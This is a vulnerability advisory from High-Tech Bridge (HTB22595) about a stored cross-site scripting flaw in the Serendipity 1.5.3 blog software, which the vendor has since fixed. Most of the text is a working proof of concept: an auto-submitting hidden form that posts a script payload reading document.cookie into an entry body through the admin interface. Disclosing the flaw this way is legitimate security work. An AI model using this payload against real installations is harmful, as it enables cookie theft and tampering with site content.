Vulnerability ID: HTB22595 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_serendipity.html Product: Serendipity Vendor: Serendipity Team ( http://www.s9y.org/ ) Vulnerable Version: 1.5.3 and probably prior versions Vendor Notification: 26 August 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "include/functions_entries.inc.php" script to properly sanitize user-supplied input in "serendipity[body]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/serendipity_admin.php?" method="post" name="main" > <input type="hidden" name="serendipity[action]" value="admin" /> <input type="hidden" name="serendipity[adminModule]" value="entries" /> <input type="hidden" name="serendipity[adminAction]" value="save" /> <!--<input type="hidden" name="serendipity[timestamp]" value="1282502444" />--> <input type="hidden" name="serendipity[id]" value="1" /> <input type="hidden" name="serendipity[timestamp]" value="1282502100" /> <input type="hidden" name="serendipity[preview]" value="false" /> <input type="hidden" name="serendipity[token]" value="12345" /> <input type="hidden" name="serendipity[title]" value="title" /> <input type="hidden" name="serendipity[isdraft]" value="false" /> <input type="hidden" name="serendipity[chk_timestamp]" value="1282502100" /> <input type="hidden" name="serendipity[new_timestamp]" value="2010-08-22+22:40" /> <input type="hidden" name="serendipity[categories][]" value="0" /> <input type="hidden" name="serendipity[body]" value='body2"><script>alert(document.cookie)</script>' /> <input type="hidden" name="serendipity[allow_comments]" value="true" /> <input type="hidden" name="serendipity[extended]" value="" /> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version